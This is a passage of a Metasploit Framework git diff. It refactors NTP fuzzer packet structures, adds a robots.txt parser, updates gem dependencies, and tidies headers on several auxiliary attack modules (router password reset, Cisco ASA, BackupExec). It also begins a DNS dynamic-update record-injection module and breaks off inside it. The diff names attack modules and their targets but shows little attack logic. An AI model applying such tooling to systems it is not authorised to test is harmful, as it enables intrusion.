     #   |LI | VN  | mode|    Stratum    |      Poll     |   Precision   |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-    unsigned :li, 2,  default: 0
-    unsigned :version, 3,  default: 0
-    unsigned :mode, 3,  default: 0
-    unsigned :stratum, 8,  default: 0
-    unsigned :poll, 8,  default: 0
-    unsigned :precision, 8,  default: 0
-    rest :payload
+    endian :big
+    bit2   :li
+    bit3   :version
+    bit3   :mode
+    uint8  :stratum
+    uint8  :poll
+    uint8  :precision
+    rest   :payload
   end
 
   # An NTP control message.  Control messages are only specified for NTP
   # versions 2-4, but this is a fuzzer so why not try them all...
-  class NTPControl < BitStruct
+  class NTPControl < BinData::Record
     #  0                   1                   2                   3
     #  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
@@ -43,25 +44,26 @@ module NTP
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     # |              offset           |     count                     |
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-    unsigned :reserved, 2, default: 0
-    unsigned :version, 3,  default: 0
-    unsigned :mode, 3,  default: 6
-    unsigned :response, 1,  default: 0
-    unsigned :error, 1,  default: 0
-    unsigned :more, 1,  default: 0
-    unsigned :operation, 5,  default: 0
-    unsigned :sequence, 16,  default: 0
-    unsigned :status, 16,  default: 0
-    unsigned :association_id, 16,  default: 0
+    endian :big
+    bit2   :reserved
+    bit3   :version
+    bit3   :mode, initial_value: 6
+    bit1   :response
+    bit1   :error
+    bit1   :more
+    bit5   :operation
+    uint16 :sequence
+    uint16 :status
+    uint16 :association_id
     # TODO: there *must* be bugs in the handling of these next two fields!
-    unsigned :payload_offset, 16,  default: 0
-    unsigned :payload_size, 16,  default: 0
-    rest :payload
+    uint16 :payload_offset
+    uint16 :payload_size
+    rest   :payload
   end
 
   # An NTP "private" message.  Private messages are only specified for NTP
   # versions 2-4, but this is a fuzzer so why not try them all...
-  class NTPPrivate < BitStruct
+  class NTPPrivate < BinData::Record
     #  0                   1                   2                   3
     #  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
@@ -69,44 +71,46 @@ module NTP
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     # |  err  | Number of data items  |  MBZ   |   Size of data item  |
     # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-    unsigned :response, 1, default: 0
-    unsigned :more, 1, default: 0
-    unsigned :version, 3,  default: 0
-    unsigned :mode, 3,  default: 7
-    unsigned :auth, 1, default: 0
-    unsigned :sequence, 7, default: 0
-    unsigned :implementation, 8, default: 0
-    unsigned :request_code, 8, default: 0
-    unsigned :error, 4, default: 0
-    unsigned :record_count, 12, default: 0
-    unsigned :mbz, 4, default: 0
-    unsigned :record_size, 12, default: 0
-    rest :payload
+    endian :big
+    bit1   :response
+    bit1   :more
+    bit3   :version
+    bit3   :mode, initial_value: 7
+    bit1   :auth
+    bit7   :sequence
+    uint8  :implementation
+    uint8  :request_code
+    bit4   :error
+    bit12  :record_count
+    bit4   :mbz
+    bit12  :record_size
+    rest   :payload
 
     def records
       records = []
       1.upto(record_count) do |record_num|
-        records << payload[record_size*(record_num-1), record_size]
+        records << payload[record_size * (record_num - 1), record_size]
       end
       records
     end
   end
 
-  class NTPSymmetric < BitStruct
-    unsigned :li, 2,  default: 0
-    unsigned :version, 3,  default: 3
-    unsigned :mode, 3,  default: 0
-    unsigned :stratum, 8,  default: 0
-    unsigned :poll, 8,  default: 0
-    unsigned :precision, 8,  default: 0
-    unsigned :root_delay, 32,  default: 0
-    unsigned :root_dispersion, 32,  default: 0
-    unsigned :reference_id, 32,  default: 0
-    unsigned :reference_timestamp, 64,  default: 0
-    unsigned :origin_timestamp, 64,  default: 0
-    unsigned :receive_timestamp, 64,  default: 0
-    unsigned :transmit_timestamp, 64,  default: 0
-    rest :payload
+  class NTPSymmetric < BinData::Record
+    endian :big
+    bit2   :li
+    bit3   :version, initial_value: 3
+    bit3   :mode
+    uint8  :stratum
+    uint8  :poll
+    uint8  :precision
+    uint32 :root_delay
+    uint32 :root_dispersion
+    uint32 :reference_id
+    uint64 :reference_timestamp
+    uint64 :origin_timestamp
+    uint64 :receive_timestamp
+    uint64 :transmit_timestamp
+    rest   :payload
   end
 
   def self.ntp_control(version, operation, payload = nil)
@@ -139,7 +143,7 @@ module NTP
 
   # Parses the given message and provides a description about the NTP message inside
   def self.describe(message)
-    ntp = NTPGeneric.new(message)
+    ntp = NTPGeneric.new.read(message)
     "#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply"
   end
 end
diff --git a/lib/robots.rb b/lib/robots.rb
new file mode 100644
index 0000000000..7959c5428a
--- /dev/null
+++ b/lib/robots.rb
@@ -0,0 +1,162 @@
+#
+#  Copyright (c) 2008 Kyle Maxwell, contributors
+#
+#  Permission is hereby granted, free of charge, to any person
+#  obtaining a copy of this software and associated documentation
+#  files (the "Software"), to deal in the Software without
+#  restriction, including without limitation the rights to use,
+#  copy, modify, merge, publish, distribute, sublicense, and/or sell
+#  copies of the Software, and to permit persons to whom the
+#  Software is furnished to do so, subject to the following
+#  conditions:
+#
+#  The above copyright notice and this permission notice shall be
+#  included in all copies or substantial portions of the Software.
+#
+#  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+#  EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+#  OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+#  NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+#  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+#  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+#  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+#  OTHER DEALINGS IN THE SOFTWARE.
+#
+
+require "open-uri"
+require "uri"
+require "timeout"
+require 'rex/logging/log_dispatcher'
+
+# https://github.com/fizx/robots
+class Robots
+  DEFAULT_TIMEOUT = 3
+
+  # Represents a parsed robots.txt file
+  class ParsedRobots
+    def initialize(uri, user_agent)
+      @last_accessed = Time.at(1)
+
+      io = Robots.get_robots_txt(uri, user_agent)
+
+      if !io || io.content_type != "text/plain" || io.status.first != "200"
+        io = StringIO.new("User-agent: *\nAllow: /\n")
+      end
+
+      @other = {}
+      @disallows = {}
+      @allows = {}
+      @delays = {} # added delays to make it work
+      agent = /.*/
+      io.each do |line|
+        next if line =~ /^\s*(#.*|$)/
+        arr = line.split(":")
+        key = arr.shift.to_s.downcase
+        value = arr.join(":").strip
+        value.strip!
+        case key
+        when "user-agent"
+          agent = to_regex(value)
+        when "allow"
+          @allows[agent] ||= []
+          @allows[agent] << to_regex(value)
+        when "disallow"
+          @disallows[agent] ||= []
+          @disallows[agent] << to_regex(value)
+        when "crawl-delay"
+          @delays[agent] = value.to_i
+        else
+          @other[key] ||= []
+          @other[key] << value
+        end
+      end
+
+      @parsed = true
+    end
+
+    def allowed?(uri, user_agent)
+      return true unless @parsed
+      allowed = true
+      path = uri.request_uri
+
+      @disallows.each do |key, value|
+        if user_agent =~ key
+          value.each do |rule|
+            allowed = false if path =~ rule
+          end
+        end
+      end
+
+      @allows.each do |key, value|
+        unless allowed
+          if user_agent =~ key
+            value.each do |rule|
+              if path =~ rule
+                allowed = true
+              end
+            end
+          end
+        end
+      end
+
+      if allowed && @delays[user_agent]
+        sleep @delays[user_agent] - (Time.now - @last_accessed)
+        @last_accessed = Time.now
+      end
+
+      return allowed
+    end
+
+    def other_values
+      @other
+    end
+
+    protected
+
+    def to_regex(pattern)
+      return /should-not-match-anything-123456789/ if pattern.strip.empty?
+      pattern = Regexp.escape(pattern)
+      pattern.gsub!(Regexp.escape("*"), ".*")
+      Regexp.compile("^#{pattern}")
+    end
+  end
+
+  def self.get_robots_txt(uri, user_agent)
+    begin
+      Timeout.timeout(Robots.timeout) do
+        begin
+          URI.join(uri.to_s, "/robots.txt").open("User-Agent" => user_agent)
+        rescue StandardError
+          nil
+        end
+      end
+    rescue Timeout::Error
+      dlog("robots.txt request timed out")
+    end
+  end
+
+  attr_writer :timeout
+
+  def self.timeout
+    @timeout || DEFAULT_TIMEOUT
+  end
+
+  def initialize(user_agent)
+    @user_agent = user_agent
+    @parsed = {}
+  end
+
+  def allowed?(uri)
+    uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
+    host = uri.host
+    @parsed[host] ||= ParsedRobots.new(uri, @user_agent)
+    @parsed[host].allowed?(uri, @user_agent)
+  end
+
+  def other_values(uri)
+    uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
+    host = uri.host
+    @parsed[host] ||= ParsedRobots.new(uri, @user_agent)
+    @parsed[host].other_values
+  end
+end
diff --git a/lib/tasks/cucumber.rake b/lib/tasks/cucumber.rake
deleted file mode 100644
index ff424fa7b0..0000000000
--- a/lib/tasks/cucumber.rake
+++ /dev/null
@@ -1,74 +0,0 @@
-# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
-# It is recommended to regenerate this file in the future when you upgrade to a 
-# newer version of cucumber-rails. Consider adding your own code to a new file 
-# instead of editing this one. Cucumber will automatically load all features/**/*.rb
-# files.
-
-
-unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
-
-vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
-$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
-
-begin
-  require 'cucumber/rake/task'
-
-  namespace :cucumber do
-    Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t|
-      t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
-      t.fork = true # You may get faster startup if you set this to false
-      t.profile = 'default'
-    end
-
-    Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t|
-      t.binary = vendored_cucumber_bin
-      t.fork = true # You may get faster startup if you set this to false
-      t.profile = 'wip'
-    end
-
-    Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t|
-      t.binary = vendored_cucumber_bin
-      t.fork = true # You may get faster startup if you set this to false
-      t.profile = 'rerun'
-    end
-
-    desc 'Run all features'
-    task :all => [:ok, :wip]
-
-    task :statsetup do
-      require 'rails/code_statistics'
-      ::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features')
-      ::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features')
-    end
-  end
-  desc 'Alias for cucumber:ok'
-  task :cucumber => 'cucumber:ok'
-
-  task :default => :cucumber
-
-  task :features => :cucumber do
-    STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***"
-  end
-
-  # In case we don't have ActiveRecord, append a no-op task that we can depend upon.
-  task 'db:test:prepare' do
-  end
-
-  task 'db:config:restore' do
-    require 'metasploit/framework/database/cucumber'
-    Metasploit::Framework::Database::Cucumber.restore_project_configurations
-  end
-
-  # Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test
-  # database in order to recover from interrupted cucumber runs
-  task 'environment' => 'db:config:restore'
-
-  task :stats => 'cucumber:statsetup'
-rescue LoadError
-  desc 'cucumber rake task not available (cucumber not installed)'
-  task :cucumber do
-    abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
-  end
-end
-
-end
diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake
deleted file mode 100644
index 9b8c3fb8ae..0000000000
--- a/lib/tasks/custom_cucumber.rake
+++ /dev/null
@@ -1,30 +0,0 @@
-unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
-
-vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
-$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
-
-begin
-  require 'cucumber/rake/task'
-
-  namespace :cucumber do
-    Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t|
-      t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
-      t.fork = true # You may get faster startup if you set this to false
-      t.profile = 'boot'
-    end
-    Cucumber::Rake::Task.new({:exploit => 'db:test:prepare'}, 'Run features that should pass') do |t|
-      t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
-      t.fork = true # You may get faster startup if you set this to false
-      t.profile = 'exploit'
-    end
-    
-  end
-
-rescue LoadError
-  desc 'cucumber rake task not available (cucumber not installed)'
-  task :cucumber do
-    abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
-  end
-end
-
-end
\ No newline at end of file
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 5670325907..1449af4a8c 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -13,18 +13,20 @@ end
 $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
 require 'metasploit/framework/version'
 require 'metasploit/framework/rails_version_constraint'
+require 'msf/util/helper'
 
 Gem::Specification.new do |spec|
   spec.name          = 'metasploit-framework'
   spec.version       = Metasploit::Framework::GEM_VERSION
   spec.authors       = ['Metasploit Hackers']
-  spec.email         = ['metasploit-hackers@lists.sourceforge.net']
+  spec.email         = ['msfdev@metasploit.com']
   spec.summary       = 'metasploit-framework'
   spec.description   = 'metasploit-framework'
   spec.homepage      = 'https://www.metasploit.com'
   spec.license       = 'BSD-3-clause'
 
-  if File.directory?(File.join(File.dirname(__FILE__), ".git"))
+  # only do a git ls-files if the .git folder exists and we have a git binary in PATH
+  if File.directory?(File.join(File.dirname(__FILE__), ".git")) && Msf::Util::Helper.which("git")
     spec.files         = `git ls-files`.split($/).reject { |file|
       file =~ /^documentation|^external/
     }
@@ -68,9 +70,9 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.2.29'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.9'
   # Needed for the next-generation POSIX Meterpreter
-  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.9'
+  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
   # Needed by msfgui and other rpc components
   spec.add_runtime_dependency 'msgpack'
   # get list of network interfaces, like eth* from OS.
@@ -83,8 +85,10 @@ Gem::Specification.new do |spec|
   spec.add_runtime_dependency 'packetfu'
   # For sniffer and raw socket modules
   spec.add_runtime_dependency 'pcaprub'
-  # Needed for module caching in Mdm::ModuleDetails
-  spec.add_runtime_dependency 'pg'
+  # Used by the Metasploit data model, etc.
+  # bound to 0.20 for Activerecord 4.2.8 deprecation warnings:
+  # https://github.com/ged/ruby-pg/commit/c90ac644e861857ae75638eb6954b1cb49617090
+  spec.add_runtime_dependency 'pg', '0.20.0'
   # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
   spec.add_runtime_dependency 'railties'
   # required for OS fingerprinting
@@ -109,10 +113,20 @@ Gem::Specification.new do |spec|
     spec.add_runtime_dependency 'xmlrpc'
   end
 
+  #
+  # File Parsing Libraries
+  #
+  # Needed by auxiliary/gather/http_pdf_authors module
+  spec.add_runtime_dependency 'pdf-reader'
+
   #
   # Protocol Libraries
   #
+  spec.add_runtime_dependency 'dnsruby'
   spec.add_runtime_dependency 'net-ssh'
+  spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
+  spec.add_runtime_dependency 'rbnacl-libsodium'
+  spec.add_runtime_dependency 'bcrypt_pbkdf'
   spec.add_runtime_dependency 'ruby_smb'
 
   #
@@ -125,7 +139,7 @@ Gem::Specification.new do |spec|
   # Library for Generating Randomized strings valid as Identifiers such as variable names
   spec.add_runtime_dependency 'rex-random_identifier'
   # library for creating Powershell scripts for exploitation purposes
-  spec.add_runtime_dependency 'rex-powershell'
+  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
   # Library for processing and creating Zip compatbile archives
   spec.add_runtime_dependency 'rex-zip'
   # Library for parsing offline Windows Registry files
@@ -157,8 +171,6 @@ Gem::Specification.new do |spec|
   spec.add_runtime_dependency 'rex-exploitation'
   # Command line editing, history, and tab completion in msfconsole
   spec.add_runtime_dependency 'rb-readline'
-  # Needed by anemone crawler
-  spec.add_runtime_dependency 'robots'
   # Needed by some modules
   spec.add_runtime_dependency 'rubyzip'
   # Needed for some post modules
@@ -173,4 +185,6 @@ Gem::Specification.new do |spec|
   spec.add_runtime_dependency 'nessus_rest'
   # Nexpose Gem
   spec.add_runtime_dependency 'nexpose'
+  # Needed for NDMP sockets
+  spec.add_runtime_dependency 'xdr'
 end
diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb
index fc1dab5471..b58f475e11 100644
--- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb
+++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -131,11 +130,10 @@ class MetasploitModule < Msf::Auxiliary
         cookies = res.get_cookies
         if cookies && cookies.match(/(.*); path=\//)
           cookie= $1
-          print_status("Got cookie #{cookie}. Password reset was successful!\n")
+          print_good("Got cookie #{cookie}. Password reset was successful!\n")
         end
       end
     end
 
   end
-
 end
diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
index 32333c8fcb..b598c36bcd 100644
--- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
+++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -178,5 +177,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb
index 1a01e435cc..032bc1af68 100644
--- a/modules/auxiliary/admin/appletv/appletv_display_image.rb
+++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q(
         This module will show an image on an AppleTV device for a period of time.
         Some AppleTV devices are actually password-protected, in that case please
-        set the PASSWORD datastore option. For password bruteforcing, please see
+        set the PASSWORD datastore option. For password brute forcing, please see
         the module auxiliary/scanner/http/appletv_login.
       ),
       'Author'         =>
diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb
index 0ad137f54b..84594ed074 100644
--- a/modules/auxiliary/admin/appletv/appletv_display_video.rb
+++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -21,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
         recommended. Also, if you're playing a video, the URL must be an IP
         address. Some AppleTV devices are actually password-protected; in that
         case please set the PASSWORD datastore option. For password
-        bruteforcing, please see the module auxiliary/scanner/http/appletv_login.
+        brute forcing, please see the module auxiliary/scanner/http/appletv_login.
       ),
       'Author'         =>
         [
@@ -152,5 +151,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("Video request sent. Duration set: #{datastore['TIME']} seconds")
     play_video_uri
   end
-
 end
diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb
index 6a7bf5b7ab..4d7aca8873 100644
--- a/modules/auxiliary/admin/atg/atg_client.rb
+++ b/modules/auxiliary/admin/atg/atg_client.rb
@@ -1,6 +1,5 @@
 ##
-# encoding: utf-8
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/aws/aws_launch_instances.rb b/modules/auxiliary/admin/aws/aws_launch_instances.rb
index ff754b5fbe..6dda70b058 100644
--- a/modules/auxiliary/admin/aws/aws_launch_instances.rb
+++ b/modules/auxiliary/admin/aws/aws_launch_instances.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'metasploit/framework/aws/client'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Metasploit::Framework::Aws::Client
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb
index 9656a1ac9b..def1a76a24 100644
--- a/modules/auxiliary/admin/backupexec/dump.rb
+++ b/modules/auxiliary/admin/backupexec/dump.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::NDMP
 
   def initialize(info = {})
@@ -271,5 +268,4 @@ class MetasploitModule < Msf::Auxiliary
     disconnect
 
   end
-
 end
diff --git a/modules/auxiliary/admin/backupexec/registry.rb b/modules/auxiliary/admin/backupexec/registry.rb
index caac39d392..800a2d9088 100644
--- a/modules/auxiliary/admin/backupexec/registry.rb
+++ b/modules/auxiliary/admin/backupexec/registry.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Post::Windows::Registry
 
@@ -16,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         This modules exploits a remote registry access flaw in the BackupExec Windows
       Server RPC service. This vulnerability was discovered by Pedram Amini and is based
-      on the NDR stub information information posted to openrce.org.
+      on the NDR stub information posted to openrce.org.
       Please see the action list for the different attack modes.
 
       },
@@ -270,5 +267,4 @@ class MetasploitModule < Msf::Auxiliary
       NDR.long(hive)
     return stub
   end
-
 end
diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb
index 922129d8cd..2409a86a91 100644
--- a/modules/auxiliary/admin/chromecast/chromecast_reset.rb
+++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -79,5 +78,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb
index 50ac7f2490..4d1f9670aa 100644
--- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb
+++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -85,5 +84,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb
index a471314ca7..c35a25f861 100644
--- a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb
+++ b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb
@@ -1,9 +1,9 @@
 ##
-# auxiliary/admin/cisco/cisco_asa_extrabacon.rb
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Cisco
 
@@ -219,5 +219,4 @@ class MetasploitModule < Msf::Auxiliary
 
     ver
   end
-
 end
diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
index 46327417b0..194693a687 100644
--- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
+++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
index 1e288725e9..267a21fa22 100644
--- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
+++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb
index de8038993d..491eb4e23e 100644
--- a/modules/auxiliary/admin/db2/db2rcmd.rb
+++ b/modules/auxiliary/admin/db2/db2rcmd.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/dns/dyn_dns_update.rb b/modules/auxiliary/admin/dns/dyn_dns_update.rb
new file mode 100644
index 0000000000..b2bf5777a3
--- /dev/null
+++ b/modules/auxiliary/admin/dns/dyn_dns_update.rb
@@ -0,0 +1,172 @@
+# -*- coding: binary -*-
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'dnsruby'
+
+class MetasploitModule < Msf::Auxiliary
+
+  def initialize
+    super(
+        'Name'           => 'DNS Server Dynamic Update Record Injection',
+        'Description'    => %q{
+        This module allows adding and/or deleting a record to
+        any remote DNS server that allows unrestricted dynamic updates.},
+        'Author'         => [
+          'King Sabri <king.sabri[at]gmail.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>'
+        ],
+        'References'     => [
+          ['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
+          ['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
+          ['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
+          ['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
+        ],
+        'License'        => MSF_LICENSE,
+        'Actions'        => [
+          ['UPDATE',  {'Description' => 'Add or update a record. (default)'}],
+          ['ADD',     {'Description' => 'Add a new record. Fail if it already exists.'}],
+          ['DELETE',  {'Description' => 'Delete an existing record.'}]
+        ],
+        'DefaultAction' => 'UPDATE'
+    )
+
+    register_options([
